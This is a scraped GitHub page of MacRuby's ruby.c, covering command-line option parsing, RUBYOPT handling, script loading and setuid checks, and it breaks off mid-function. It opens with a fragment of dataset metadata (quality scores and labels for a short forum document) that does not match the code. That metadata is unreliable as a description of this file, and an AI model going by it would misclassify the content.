3364,
3381,
3388,
3402,
3410,
3430,
3436,
3455,
3462,
3550,
3556,
3570,
3571,
3600,
3601,
3618,
3628,
3642,
3653,
3673,
3680,
3699,
3707,
3769,
3775,
3786,
3801,
3831,
3832,
3847
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3847,
"ccnet_original_nlines": 153,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.31049564480781555,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.018950439989566803,
"rps_doc_frac_lines_end_with_ellipsis": 0.012987010180950165,
"rps_doc_frac_no_alph_words": 0.2711370289325714,
"rps_doc_frac_unique_words": 0.4936014711856842,
"rps_doc_mean_word_length": 4.8720293045043945,
"rps_doc_num_sentences": 39,
"rps_doc_symbol_to_word_ratio": 0.004373180214315653,
"rps_doc_unigram_entropy": 5.202525615692139,
"rps_doc_word_count": 547,
"rps_doc_frac_chars_dupe_10grams": 0.16135084629058838,
"rps_doc_frac_chars_dupe_5grams": 0.21988743543624878,
"rps_doc_frac_chars_dupe_6grams": 0.21988743543624878,
"rps_doc_frac_chars_dupe_7grams": 0.18836772441864014,
"rps_doc_frac_chars_dupe_8grams": 0.16135084629058838,
"rps_doc_frac_chars_dupe_9grams": 0.16135084629058838,
"rps_doc_frac_chars_top_2gram": 0.04878048971295357,
"rps_doc_frac_chars_top_3gram": 0.03151969984173775,
"rps_doc_frac_chars_top_4gram": 0.045028138905763626,
"rps_doc_books_importance": -346.7894592285156,
"rps_doc_books_importance_length_correction": -346.7894592285156,
"rps_doc_openwebtext_importance": -206.92308044433594,
"rps_doc_openwebtext_importance_length_correction": -206.92308044433594,
"rps_doc_wikipedia_importance": -195.645751953125,
"rps_doc_wikipedia_importance_length_correction": -195.645751953125
},
"fasttext": {
"dclm": 0.15455633401870728,
"english": 0.9291087985038757,
"fineweb_edu_approx": 1.2681007385253906,
"eai_general_math": 0.0008469800231978297,
"eai_open_web_math": 0.2844197750091553,
"eai_web_code": 0.00004089000140083954
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.15",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-5,029,792,955,481,688,000 | Skip to content
Fetching contributors…
Cannot retrieve contributors at this time
1467 lines (1300 sloc) 31.8 KB
/*
* This file is covered by the Ruby license. See COPYING for more details.
*
* Copyright (C) 2012, The MacRuby Team. All rights reserved.
* Copyright (C) 2007-2011, Apple Inc. All rights reserved.
* Copyright (C) 1993-2007 Yukihiro Matsumoto
* Copyright (C) 2000 Network Applied Communication Laboratory, Inc.
* Copyright (C) 2000 Information-technology Promotion Agency, Japan
*/
#include <stdio.h>
#include <sys/types.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/param.h>
#include "macruby_internal.h"
#include "ruby/node.h"
#include "ruby/encoding.h"
#include "dln.h"
#include "vm.h"
#include "encoding.h"
#include "ruby/util.h"
#ifndef HAVE_STDLIB_H
char *getenv();
#endif
/* TODO: move to VM */
VALUE ruby_debug = Qfalse;
VALUE ruby_verbose = Qfalse;
VALUE ruby_debug_socket_path = Qfalse;
VALUE ruby_aot_compile = Qfalse;
VALUE ruby_aot_init_func = Qfalse;
VALUE ruby_aot_bs_files = Qnil;
VALUE rb_progname = Qnil;
static int uid, euid, gid, egid;
static void
init_ids(void)
{
uid = (int)getuid();
euid = (int)geteuid();
gid = (int)getgid();
egid = (int)getegid();
if (uid && (euid != uid || egid != gid)) {
rb_set_safe_level(1);
}
}
#if !defined(MACRUBY_STATIC)
VALUE rb_parser_get_yydebug(VALUE);
VALUE rb_parser_set_yydebug(VALUE, VALUE);
const char *ruby_get_inplace_mode(void);
void ruby_set_inplace_mode(const char *);
#define DISABLE_BIT(bit) (1U << disable_##bit)
enum disable_flag_bits {
disable_gems,
disable_rubyopt,
};
#define DUMP_BIT(bit) (1U << dump_##bit)
enum dump_flag_bits {
dump_insns,
};
struct cmdline_options {
int sflag, xflag;
int do_loop, do_print;
int do_check, do_line;
int do_split, do_search;
int usage;
int version;
int copyright;
unsigned int disable;
int verbose;
int yydebug;
unsigned int dump;
const char *script;
VALUE script_name;
VALUE e_script;
struct {
struct {
VALUE name;
rb_encoding *enc;
} enc;
} src, ext;
};
struct cmdline_arguments {
int argc;
char **argv;
struct cmdline_options *opt;
};
static NODE *load_file(VALUE, const char *, int, struct cmdline_options *);
static void forbid_setid(const char *);
static struct {
int argc;
char **argv;
#if !defined(PSTAT_SETCMD) && !defined(HAVE_SETPROCTITLE)
int len;
#endif
} origarg;
static void
usage(const char *name)
{
/* This message really ought to be max 23 lines.
* Removed -h because the user already knows that option. Others? */
static const char *const usage_msg[] = {
"-0[octal] specify record separator (\\0, if no argument)",
"-a autosplit mode with -n or -p (splits $_ into $F)",
"-c check syntax only",
"-Cdirectory cd to directory, before executing your script",
"-d set debugging flags (set $DEBUG to true)",
"-e 'command' one line of script. Several -e's allowed. Omit [programfile]",
"-Eencoding specifies the character encoding for the program codes",
"-Fpattern split() pattern for autosplit (-a)",
"-i[extension] edit ARGV files in place (make backup if extension supplied)",
"-Idirectory specify $LOAD_PATH directory (may be used more than once)",
"-l enable line ending processing",
"-n assume 'while gets(); ... end' loop around your script",
"-p assume loop like -n but print line also like sed",
"-rlibrary require the library, before executing your script",
"-s enable some switch parsing for switches after script name",
"-S look for the script using PATH environment variable",
"-T[level] turn on tainting checks",
"-v print version number, then turn on verbose mode",
"-w turn warnings on for your script",
"-W[level] set warning level; 0=silence, 1=medium, 2=verbose (default)",
"-x[directory] strip off text before #!ruby line and perhaps cd to directory",
"--copyright print the copyright",
"--version print the version",
NULL
};
const char *const *p = usage_msg;
printf("Usage: %s [switches] [--] [programfile] [arguments]\n", name);
while (*p)
printf(" %s\n", *p++);
}
VALUE rb_get_load_path(void);
#ifndef CharNext /* defined as CharNext[AW] on Windows. */
#define CharNext(p) ((p) + mblen(p, RUBY_MBCHAR_MAXSIZE))
#endif
#define rubylib_mangled_path rb_str_new
#define rubylib_mangled_path2 rb_str_new2
static void
push_include(const char *path, VALUE (*filter)(VALUE))
{
const char sep = PATH_SEP_CHAR;
const char *p, *s;
VALUE load_path = rb_vm_load_path();
p = path;
while (*p) {
while (*p == sep) {
p++;
}
if (!*p) {
break;
}
for (s = p; *s && *s != sep; s = CharNext(s));
rb_ary_push(load_path, (*filter)(rubylib_mangled_path(p, s - p)));
p = s;
}
}
void
ruby_push_include(const char *path, VALUE (*filter)(VALUE))
{
if (path != NULL) {
push_include(path, filter);
}
}
static VALUE
identical_path(VALUE path)
{
return path;
}
void
ruby_incpush(const char *path)
{
ruby_push_include(path, identical_path);
}
static VALUE
expand_include_path(VALUE path)
{
const char *p = RSTRING_PTR(path);
if (!p) {
return path;
}
if (*p == '.' && p[1] == '/') {
return path;
}
return rb_file_expand_path(path, Qnil);
}
void
ruby_incpush_expand(const char *path)
{
ruby_push_include(path, expand_include_path);
}
static CFMutableArrayRef req_list = NULL;
static void
add_modules(const char *mod)
{
CFStringRef mod_str;
if (req_list == NULL) {
req_list = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
}
mod_str = CFStringCreateWithFileSystemRepresentation(NULL, mod);
CFArrayAppendValue(req_list, mod_str);
CFRelease(mod_str);
}
extern void Init_ext(void);
extern VALUE rb_vm_top_self(void);
void
rb_require_libraries(void)
{
static bool init = false;
if (init) {
return;
}
init = true;
Init_ext(); /* should be called here for some reason :-( */
if (req_list != NULL) {
VALUE vm;
ID require;
int i, count;
vm = rb_vm_top_self();
require = rb_intern("require");
for (i = 0, count = CFArrayGetCount(req_list); i < count; i++) {
const void *feature = CFArrayGetValueAtIndex(req_list, i);
rb_funcall2(vm, require, 1, (VALUE *)&feature);
}
CFRelease(req_list);
}
}
static void
process_sflag(struct cmdline_options *opt)
{
if (opt->sflag) {
long i, n;
VALUE argv = rb_argv;
n = RARRAY_LEN(argv);
i = 0;
while (n > 0) {
VALUE v = RARRAY_AT(argv, i++);
char *s = StringValuePtr(v);
char *p;
int hyphen = Qfalse;
if (s[0] != '-')
break;
n--;
if (s[1] == '-' && s[2] == '\0')
break;
v = Qtrue;
/* check if valid name before replacing - with _ */
for (p = s + 1; *p; p++) {
if (*p == '=') {
*p++ = '\0';
v = rb_str_new2(p);
break;
}
if (*p == '-') {
hyphen = Qtrue;
}
else if (*p != '_' && !ISALNUM(*p)) {
VALUE name_error[2];
name_error[0] =
rb_str_new2("invalid name for global variable - ");
if (!(p = strchr(p, '='))) {
rb_str_cat2(name_error[0], s);
}
else {
rb_str_cat(name_error[0], s, p - s);
}
name_error[1] = RARRAY_AT(argv, -1);
rb_exc_raise(rb_class_new_instance(2, name_error, rb_eNameError));
}
}
s[0] = '$';
if (hyphen) {
for (p = s + 1; *p; ++p) {
if (*p == '-')
*p = '_';
}
}
rb_gv_set(s, v);
}
n = RARRAY_LEN(argv) - n;
while (n--) {
rb_ary_shift(argv);
}
}
opt->sflag = 0;
}
NODE *rb_parser_append_print(VALUE, NODE *);
NODE *rb_parser_while_loop(VALUE, NODE *, int, int);
static int proc_options(int argc, char **argv, struct cmdline_options *opt);
static char *
moreswitches(const char *s, struct cmdline_options *opt)
{
int argc;
char *argv[3];
const char *p = s;
argc = 2;
argv[0] = argv[2] = 0;
while (*s && !ISSPACE(*s))
s++;
argv[1] = ALLOCA_N(char, s - p + 2);
argv[1][0] = '-';
strncpy(argv[1] + 1, p, s - p);
argv[1][s - p + 1] = '\0';
proc_options(argc, argv, opt);
while (*s && ISSPACE(*s))
s++;
return (char *)s;
}
#define NAME_MATCH_P(name, str, len) \
((len) < sizeof(name) && strncmp((str), name, (len)) == 0)
#define UNSET_WHEN(name, bit, str, len) \
if (NAME_MATCH_P(name, str, len)) { \
*(unsigned int *)arg &= ~(bit); \
return; \
}
#define SET_WHEN(name, bit, str, len) \
if (NAME_MATCH_P(name, str, len)) { \
*(unsigned int *)arg |= (bit); \
return; \
}
static void
enable_option(const char *str, int len, void *arg)
{
#define UNSET_WHEN_DISABLE(bit) UNSET_WHEN(#bit, DISABLE_BIT(bit), str, len)
UNSET_WHEN_DISABLE(gems);
UNSET_WHEN_DISABLE(rubyopt);
if (NAME_MATCH_P("all", str, len)) {
*(unsigned int *)arg = 0U;
return;
}
rb_warn("unknown argument for --enable: `%.*s'", len, str);
}
static void
disable_option(const char *str, int len, void *arg)
{
#define SET_WHEN_DISABLE(bit) SET_WHEN(#bit, DISABLE_BIT(bit), str, len)
SET_WHEN_DISABLE(gems);
SET_WHEN_DISABLE(rubyopt);
if (NAME_MATCH_P("all", str, len)) {
*(unsigned int *)arg = ~0U;
return;
}
rb_warn("unknown argument for --disable: `%.*s'", len, str);
}
static void
dump_option(const char *str, int len, void *arg)
{
#define SET_WHEN_DUMP(bit) SET_WHEN(#bit, DUMP_BIT(bit), str, len)
SET_WHEN_DUMP(insns);
rb_warn("don't know how to dump `%.*s', (insns)", len, str);
}
static int
proc_options(int argc, char **argv, struct cmdline_options *opt)
{
int n, argc0 = argc;
const char *s;
if (argc == 0)
return 0;
for (argc--, argv++; argc > 0; argc--, argv++) {
if (argv[0][0] != '-' || !argv[0][1])
break;
s = argv[0] + 1;
reswitch:
switch (*s) {
case 'a':
opt->do_split = Qtrue;
s++;
goto reswitch;
case 'p':
opt->do_print = Qtrue;
/* through */
case 'n':
opt->do_loop = Qtrue;
s++;
goto reswitch;
case 'd':
ruby_debug = Qtrue;
ruby_verbose = Qtrue;
s++;
goto reswitch;
case 'y':
opt->yydebug = 1;
s++;
goto reswitch;
case 'v':
if (opt->verbose) {
s++;
goto reswitch;
}
ruby_show_version();
opt->verbose = 1;
case 'w':
ruby_verbose = Qtrue;
s++;
goto reswitch;
case 'W':
{
size_t numlen;
int v = 2; /* -W as -W2 */
if (*++s) {
v = scan_oct(s, 1, &numlen);
if (numlen == 0)
v = 1;
s += numlen;
}
switch (v) {
case 0:
ruby_verbose = Qnil;
break;
case 1:
ruby_verbose = Qfalse;
break;
default:
ruby_verbose = Qtrue;
break;
}
}
goto reswitch;
case 'c':
opt->do_check = Qtrue;
s++;
goto reswitch;
case 's':
forbid_setid("-s");
opt->sflag = 1;
s++;
goto reswitch;
case 'h':
usage(origarg.argv[0]);
rb_exit(EXIT_SUCCESS);
break;
case 'l':
opt->do_line = Qtrue;
rb_output_rs = rb_rs;
s++;
goto reswitch;
case 'S':
forbid_setid("-S");
opt->do_search = Qtrue;
s++;
goto reswitch;
case 'e':
forbid_setid("-e");
if (*++s == '\0') {
s = argv[1];
argc--;
argv++;
}
if (s == NULL) {
rb_raise(rb_eRuntimeError, "no code specified for -e");
}
if (opt->e_script == 0) {
opt->e_script = rb_str_new(NULL, 0);
if (opt->script == NULL) {
opt->script = "-e";
}
}
rb_str_cat2(opt->e_script, s);
rb_str_cat2(opt->e_script, "\n");
break;
case 'r':
forbid_setid("-r");
if (*++s != '\0') {
add_modules(s);
}
else if (argv[1]) {
add_modules(argv[1]);
argc--;
argv++;
}
break;
case 'i':
forbid_setid("-i");
ruby_set_inplace_mode(s + 1);
break;
case 'x':
opt->xflag = Qtrue;
s++;
if (*s && chdir(s) < 0) {
rb_fatal("Can't chdir to %s", s);
}
break;
case 'C':
case 'X':
s++;
if (!*s) {
s = argv[1];
argc--, argv++;
}
if (!s || !*s) {
rb_fatal("Can't chdir");
}
if (chdir(s) < 0) {
rb_fatal("Can't chdir to %s", s);
}
break;
case 'F':
if (*++s) {
rb_fs = rb_reg_new(s, strlen(s), 0);
}
break;
case 'E':
if (!*++s) goto next_encoding;
goto encoding;
case 'K':
if (*++s) {
const char *enc_name = 0;
switch (*s) {
case 'E': case 'e':
enc_name = "EUC-JP";
break;
case 'S': case 's':
enc_name = "Windows-31J";
break;
case 'U': case 'u':
enc_name = "UTF-8";
break;
case 'N': case 'n': case 'A': case 'a':
enc_name = "ASCII-8BIT";
break;
}
if (enc_name) {
opt->src.enc.name = rb_str_new2(enc_name);
opt->ext.enc.name = opt->src.enc.name;
}
s++;
}
goto reswitch;
case 'T':
{
size_t numlen;
int v = 1;
if (*++s) {
v = scan_oct(s, 2, &numlen);
if (numlen == 0)
v = 1;
s += numlen;
}
rb_set_safe_level(v);
}
goto reswitch;
case 'I':
forbid_setid("-I");
if (*++s)
ruby_incpush_expand(s);
else if (argv[1]) {
ruby_incpush_expand(argv[1]);
argc--, argv++;
}
break;
case '0':
{
size_t numlen;
int v;
char c;
v = scan_oct(s, 4, &numlen);
s += numlen;
if (v > 0377)
rb_rs = Qnil;
else if (v == 0 && numlen >= 2) {
rb_rs = rb_str_new2("\n\n");
}
else {
c = v & 0xff;
rb_rs = rb_str_new(&c, 1);
}
}
goto reswitch;
case '-':
if (!s[1] || (s[1] == '\r' && !s[2])) {
argc--, argv++;
goto switch_end;
}
s++;
if (strcmp("copyright", s) == 0) {
opt->copyright = 1;
}
else if (strcmp("debug", s) == 0) {
ruby_debug = Qtrue;
ruby_verbose = Qtrue;
}
else if (strncmp("enable", s, n = 6) == 0 &&
(!s[n] || s[n] == '-' || s[n] == '=')) {
if ((s += n + 1)[-1] ? !*s : (!--argc || !(s = *++argv))) {
rb_raise(rb_eRuntimeError, "missing argument for --enable");
}
ruby_each_words(s, enable_option, &opt->disable);
}
else if (strncmp("disable", s, n = 7) == 0 &&
(!s[n] || s[n] == '-' || s[n] == '=')) {
if ((s += n + 1)[-1] ? !*s : (!--argc || !(s = *++argv))) {
rb_raise(rb_eRuntimeError, "missing argument for --disable");
}
ruby_each_words(s, disable_option, &opt->disable);
}
else if (strncmp("encoding", s, n = 8) == 0 && (!s[n] || s[n] == '=')) {
s += n;
if (!*s++) {
next_encoding:
if (!--argc || !(s = *++argv)) {
rb_raise(rb_eRuntimeError, "missing argument for --encoding");
}
}
encoding:
opt->ext.enc.name = rb_str_new2(s);
}
else if (strcmp("version", s) == 0) {
opt->version = 1;
}
else if (strcmp("verbose", s) == 0) {
opt->verbose = 1;
ruby_verbose = Qtrue;
}
else if (strcmp("yydebug", s) == 0) {
opt->yydebug = 1;
}
else if (strncmp("dump", s, n = 4) == 0 && (!s[n] || s[n] == '=')) {
if (!(s += n + 1)[-1] && (!--argc || !(s = *++argv)) && *s != '-') break;
ruby_each_words(s, dump_option, &opt->dump);
}
else if (strcmp("help", s) == 0) {
usage(origarg.argv[0]);
rb_exit(EXIT_SUCCESS);
}
else if (strcmp("emit-llvm", s) == 0) {
// This option is not documented and only used by macrubyc.
// Users should use macrubyc and never call this option
// directly.
if (argc < 3) {
rb_raise(rb_eRuntimeError,
"expected 2 arguments (output file and init function) for --emit-llvm");
}
ruby_aot_compile = rb_str_new2(argv[1]);
ruby_aot_init_func = rb_str_new2(argv[2]);
GC_RETAIN(ruby_aot_compile);
GC_RETAIN(ruby_aot_init_func);
argc--; argv++;
argc--; argv++;
}
else if (strcmp("uses-bs", s) == 0) {
// This option is not documented and only used by macrubyc.
// Users should use macrubyc and never call this option
// directly.
if (argc < 2) {
rb_raise(rb_eRuntimeError,
"expected 1 argument (complete BridgeSupport file ) for --uses-bs");
}
if (ruby_aot_bs_files == Qnil) {
ruby_aot_bs_files = rb_ary_new();
GC_RETAIN(ruby_aot_bs_files);
}
rb_ary_push(ruby_aot_bs_files, rb_str_new2(argv[1]));
argc--; argv++;
}
else if (strcmp("debug-mode", s) == 0) {
// This option is not documented and only used by macrubyd.
// Users should use macrubyd and never call this option
// directly.
if (argc < 2) {
rb_raise(rb_eRuntimeError,
"expected 1 argument (unix socket path) for --debug-mode");
}
ruby_debug_socket_path = rb_str_new2(argv[1]);
GC_RETAIN(ruby_debug_socket_path);
argc--; argv++;
}
else {
rb_raise(rb_eRuntimeError,
"invalid option --%s (-h will show valid options)", s);
}
break;
case '\r':
if (!s[1])
break;
default:
{
if (ISPRINT(*s)) {
rb_raise(rb_eRuntimeError,
"invalid option -%c (-h will show valid options)",
(int)(unsigned char)*s);
}
else {
rb_raise(rb_eRuntimeError,
"invalid option -\\x%02X (-h will show valid options)",
(int)(unsigned char)*s);
}
}
goto switch_end;
case 0:
break;
}
}
switch_end:
return argc0 - argc;
}
void Init_prelude(void);
static void
ruby_init_gems(int enable)
{
// TODO
}
static rb_encoding *
opt_enc_find(VALUE enc_name)
{
rb_encoding *enc = rb_enc_find(RSTRING_PTR(enc_name));
if (enc == NULL) {
rb_raise(rb_eRuntimeError, "unknown encoding name - %s",
RSTRING_PTR(enc_name));
}
return enc;
}
VALUE rb_argv0;
static rb_encoding *src_encoding;
static VALUE
process_options(VALUE arg)
{
struct cmdline_arguments *argp = (struct cmdline_arguments *)arg;
struct cmdline_options *opt = argp->opt;
int argc = argp->argc;
char **argv = argp->argv;
NODE *tree = 0;
VALUE parser;
rb_encoding *enc, *lenc;
const char *s;
char fbuf[MAXPATHLEN];
int i = proc_options(argc, argv, opt);
int safe;
argc -= i;
argv += i;
if (!(opt->disable & DISABLE_BIT(rubyopt)) &&
rb_safe_level() == 0 && (s = getenv("RUBYOPT"))) {
VALUE src_enc_name = opt->src.enc.name;
VALUE ext_enc_name = opt->ext.enc.name;
while (ISSPACE(*s))
s++;
if (*s == 'T' || (*s == '-' && *(s + 1) == 'T')) {
size_t numlen;
int v = 1;
if (*s != 'T')
++s;
if (*++s) {
v = scan_oct(s, 2, &numlen);
if (numlen == 0)
v = 1;
}
rb_set_safe_level(v);
}
else {
while (s && *s) {
if (*s == '-') {
s++;
if (ISSPACE(*s)) {
do {
s++;
} while (ISSPACE(*s));
continue;
}
}
if (!*s)
break;
if (!strchr("EIdvwWrK", *s))
rb_raise(rb_eRuntimeError,
"invalid switch in RUBYOPT: -%c", *s);
s = moreswitches(s, opt);
}
}
if (src_enc_name)
opt->src.enc.name = src_enc_name;
if (ext_enc_name)
opt->ext.enc.name = ext_enc_name;
}
if (!ruby_aot_compile) {
rb_vm_init_jit();
}
if (opt->version) {
ruby_show_version();
return Qtrue;
}
if (opt->copyright) {
ruby_show_copyright();
}
if (rb_safe_level() >= 4) {
OBJ_TAINT(rb_argv);
OBJ_TAINT(rb_vm_load_path());
}
if (!opt->e_script) {
if (argc == 0) { /* no more args */
if (opt->verbose)
return Qtrue;
opt->script = "-";
}
else {
opt->script = argv[0];
if (opt->script[0] == '\0') {
opt->script = "-";
}
else if (opt->do_search) {
char *path = getenv("RUBYPATH");
opt->script = 0;
if (path) {
opt->script = dln_find_file_r(argv[0], path, fbuf, sizeof(fbuf));
}
if (!opt->script) {
opt->script = dln_find_file_r(argv[0], getenv(PATH_ENV), fbuf, sizeof(fbuf));
}
if (!opt->script)
opt->script = argv[0];
}
argc--;
argv++;
}
}
ruby_script(opt->script);
GC_WB(&opt->script_name, rb_str_new4(rb_progname));
opt->script = RSTRING_PTR(opt->script_name);
ruby_set_argv(argc, argv);
process_sflag(opt);
ruby_init_loadpath();
safe = rb_safe_level();
rb_set_safe_level_force(0);
ruby_init_gems(!(opt->disable & DISABLE_BIT(gems)));
lenc = rb_locale_encoding();
parser = rb_parser_new();
if (opt->yydebug) rb_parser_set_yydebug(parser, Qtrue);
if (opt->ext.enc.name != 0) {
opt->ext.enc.enc = opt_enc_find(opt->ext.enc.name);
}
if (opt->src.enc.name != 0) {
opt->src.enc.enc = opt_enc_find(opt->src.enc.name);
src_encoding = opt->src.enc.enc;
}
if (opt->ext.enc.enc != NULL) {
enc = opt->ext.enc.enc;
}
else {
enc = lenc;
}
rb_enc_set_default_external(rb_enc_from_encoding(enc));
rb_set_safe_level_force(safe);
if (opt->e_script) {
rb_encoding *eenc;
if (opt->src.enc.enc != NULL) {
eenc = opt->src.enc.enc;
}
else {
eenc = lenc;
}
//require_libraries();
tree = rb_parser_compile_string(parser, opt->script, opt->e_script, 1);
}
else {
if (opt->script[0] == '-' && !opt->script[1]) {
forbid_setid("program input from stdin");
}
tree = load_file(parser, opt->script, 1, opt);
}
if (!tree) return Qfalse;
process_sflag(opt);
opt->xflag = 0;
if (rb_safe_level() >= 4) {
OBJ_TAINT(rb_argv);
OBJ_TAINT(rb_vm_load_path());
}
if (opt->do_check) {
printf("Syntax OK\n");
return Qtrue;
}
if (opt->do_print) {
tree = rb_parser_append_print(parser, tree);
}
if (opt->do_loop) {
tree = rb_parser_while_loop(parser, tree, opt->do_line, opt->do_split);
}
return (VALUE)tree;
}
static NODE *
load_file(VALUE parser, const char *fname, int script,
struct cmdline_options *opt)
{
extern VALUE rb_stdin;
VALUE f;
int line_start = 1;
NODE *tree = 0;
rb_encoding *enc;
if (fname == NULL) {
rb_load_fail(fname);
}
if (strcmp(fname, "-") == 0) {
f = rb_stdin;
}
else {
int fd, mode = O_RDONLY;
if ((fd = open(fname, mode)) < 0) {
rb_load_fail(fname);
}
f = rb_io_fdopen(fd, mode, fname);
}
if (script) {
VALUE c = 1; /* something not nil */
VALUE line;
char *p;
int no_src_enc = !opt->src.enc.name;
int no_ext_enc = !opt->ext.enc.name;
if (opt->xflag) {
forbid_setid("-x");
opt->xflag = Qfalse;
while (!NIL_P(line = rb_io_gets(f, 0))) {
line_start++;
const char *lineptr = RSTRING_PTR(line);
if (RSTRING_LEN(line) > 2
&& lineptr[0] == '#'
&& lineptr[1] == '!') {
if ((p = strstr(lineptr, "ruby")) != 0) {
goto start_read;
}
}
}
rb_raise(rb_eLoadError, "no Ruby script found in input");
}
c = rb_io_getbyte(f, 0);
if (c == INT2FIX('#')) {
c = rb_io_getbyte(f, 0);
if (c == INT2FIX('!')) {
line = rb_io_gets(f, 0);
if (NIL_P(line)) {
return 0;
}
if ((p = strstr(RSTRING_PTR(line), "ruby")) == 0) {
/* not ruby script, kick the program */
char **argv;
char *path;
char *pend;
line = rb_str_bstr(line);
p = (char *)rb_bstr_bytes(line);
pend = p + rb_bstr_length(line);
if (pend[-1] == '\n') {
pend--; /* chomp line */
}
if (pend[-1] == '\r') {
pend--;
}
*pend = '\0';
while (p < pend && ISSPACE(*p)) {
p++;
}
path = p; /* interpreter path */
while (p < pend && !ISSPACE(*p)) {
p++;
}
*p++ = '\0';
if (p < pend) {
argv = ALLOCA_N(char *, origarg.argc + 3);
argv[1] = p;
MEMCPY(argv + 2, origarg.argv + 1, char *, origarg.argc);
}
else {
argv = origarg.argv;
}
argv[0] = path;
execv(path, argv);
rb_fatal("Can't exec %s", path);
}
start_read:
p += 4;
char *linebuf = (char *)rb_bstr_bytes(line);
const long linebuflen = rb_bstr_length(line);
linebuf[linebuflen - 1] = '\0';
if (linebuf[linebuflen - 2] == '\r') {
linebuf[linebuflen - 2] = '\0';
}
if ((p = strstr(p, " -")) != 0) {
p++; /* skip space before `-' */
while (*p == '-') {
p = moreswitches(p + 1, opt);
}
}
/* push back shebang for pragma may exist in next line */
rb_io_ungetc(f, 0, rb_str_new2("!\n"));
}
else if (!NIL_P(c)) {
rb_io_ungetc(f, 0, c);
}
rb_io_ungetc(f, 0, INT2FIX('#'));
if (no_src_enc && opt->src.enc.name) {
opt->src.enc.enc = opt_enc_find(opt->src.enc.name);
src_encoding = opt->src.enc.enc;
}
if (no_ext_enc && opt->ext.enc.name) {
opt->ext.enc.enc = opt_enc_find(opt->ext.enc.name);
}
}
else if (!NIL_P(c)) {
rb_io_ungetc(f, 0, c);
}
//require_libraries(); /* Why here? unnatural */
}
if (opt->src.enc.enc != NULL) {
enc = opt->src.enc.enc;
}
else {
enc = rb_locale_encoding();
}
tree = (NODE *)rb_parser_compile_file(parser, fname, f, line_start);
if (script && rb_parser_end_seen_p(parser)) {
rb_define_global_const("DATA", f);
}
else if (f != rb_stdin) {
rb_io_close(f);
}
return tree;
}
void *
rb_load_file(const char *fname)
{
struct cmdline_options opt;
MEMZERO(&opt, opt, 1);
opt.src.enc.enc = src_encoding;
return load_file(rb_parser_new(), fname, 0, &opt);
}
#if !defined(PSTAT_SETCMD) && !defined(HAVE_SETPROCTITLE)
#if !defined(_WIN32) && !(defined(HAVE_SETENV) && defined(HAVE_UNSETENV))
#define USE_ENVSPACE_FOR_ARG0
#endif
#ifdef USE_ENVSPACE_FOR_ARG0
extern char **environ;
#endif
static int
get_arglen(int argc, char **argv)
{
char *s = argv[0];
int i;
if (!argc) return 0;
s += strlen(s);
/* See if all the arguments are contiguous in memory */
for (i = 1; i < argc; i++) {
if (argv[i] == s + 1) {
s++;
s += strlen(s); /* this one is ok too */
}
else {
break;
}
}
#if defined(USE_ENVSPACE_FOR_ARG0)
if (environ && (s == environ[0])) {
s += strlen(s);
for (i = 1; environ[i]; i++) {
if (environ[i] == s + 1) {
s++;
s += strlen(s); /* this one is ok too */
}
}
ruby_setenv("", NULL); /* duplicate environ vars */
}
#endif
return s - argv[0];
}
#endif
static void
forbid_setid(const char *s)
{
if (euid != uid) {
rb_raise(rb_eSecurityError, "no %s allowed while running setuid", s);
}
if (egid != gid) {
rb_raise(rb_eSecurityError, "no %s allowed while running setgid", s);
}
if (rb_safe_level() > 0) {
rb_raise(rb_eSecurityError, "no %s allowed in tainted mode", s);
}
}
static VALUE
false_value(void)
{
return Qfalse;
}
static VALUE
true_value(void)
{
return Qtrue;
}
#define rb_define_readonly_boolean(name, val) \
rb_define_virtual_variable((name), (val) ? true_value : false_value, 0)
void *
ruby_process_options(int argc, char **argv)
{
struct cmdline_arguments *args;
struct cmdline_options *opt;
NODE *tree;
args = (struct cmdline_arguments *)xmalloc(sizeof(struct cmdline_arguments));
opt = (struct cmdline_options *)xmalloc(sizeof(struct cmdline_options));
MEMZERO(opt, opt, 1);
ruby_script(argv[0]); /* for the time being */
rb_argv0 = rb_progname;
GC_RETAIN(rb_argv0);
args->argc = argc;
args->argv = argv;
args->opt = opt;
opt->src.enc.enc = src_encoding;
opt->ext.enc.enc = NULL;
tree = (NODE *)process_options((VALUE)args);
// tree = (NODE *)rb_vm_call_cfunc(rb_vm_top_self(),
// process_options, (VALUE)args,
// 0, rb_progname);
rb_define_readonly_boolean("$-p", opt->do_print);
rb_define_readonly_boolean("$-l", opt->do_line);
rb_define_readonly_boolean("$-a", opt->do_split);
errno = 0; // Reset errno value.
return tree;
}
#endif // !MACRUBY_STATIC
void
ruby_sysinit(int *argc, char ***argv)
{
int i, n = *argc, len = 0;
char **v1 = *argv, **v2, *p;
for (i = 0; i < n; ++i) {
